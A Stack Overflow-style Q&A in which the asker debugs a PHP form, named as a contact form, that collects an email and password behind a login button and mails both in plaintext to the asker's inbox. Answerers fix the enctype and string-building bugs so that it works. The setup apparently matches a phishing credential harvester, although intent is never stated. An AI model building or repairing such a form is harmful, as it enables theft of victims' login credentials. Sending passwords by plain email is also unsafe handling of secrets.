0

I've created a HTML form and used PHP to get the results emailed to me but Im having problems...

I have a PHP file called contact.php and the code is

<?php
      $email = $_POST['emails'] ;
      $password = $_POST['pass'] ;
      mail("MYEMAIL", "Form Results", "You have received a new message. Email: $email Password: $password");
?>

And my HTML is

<form action="contact.php" method="post" enctype="text/plain">
   <div class="size">Email</div> <input type="text" name="emails"><br>
   <div class="size">Password</div><input type="password" name="pass">
   <div class="logincon"><input type="image" src="css/images/login.png" value="submit" /></div>    
   <br><br>
</form>

When I fill out the form, I get a email saying You have received a new message. Email: Password: The email and password isn't being displayed.

Think Different
  • 2,815
  • 1
  • 12
  • 18

2 Answers2

2

The php $_POST requires Content-Type: application/x-www-form-urlencoded.

Change this in your html

<form action="contact.php"
method="post"
enctype="text/plain"> 

to

<form action="contact.php"
method="post"
enctype="application/x-www-form-urlencoded">

and it should work.

You can read more on the subject here: method="post" enctype="text/plain" are not compatible?

Payloads using the text/plain format are intended to be human readable. They are not reliably interpretable by computer, as the format is ambiguous (for example, there is no way to distinguish a literal newline in a value from the newline at the end of the value).

However you could access the data from a text/plain post with: $HTTP_RAW_POST_DATA, but you have to parse it yourself.

Community
  • 1
  • 1
Johan Karlsson
  • 6,419
  • 1
  • 19
  • 28
  • `application/x-www-form-urlencoded` is the default and does not need to be explicitly stated. You only need to use `enctype=` when using `enctype="multipart/form-data"` -> http://www.w3.org/TR/html401/interact/forms.html#adef-enctype. – Sean Sep 23 '14 at 15:11
  • Yes it is default, but OP has specified `'text/plain'` which makes his `$_POST` empty. – Johan Karlsson Sep 23 '14 at 15:15
  • @caeth Ah! Excellent! Nice catch there – Brendan Bullen Sep 23 '14 at 15:25
1

Try this:

mail("MYEMAIL", "Form Results", "You have received a new message. Email: " . $email . " Password: " . $password);
andyroo
  • 384
  • 2
  • 13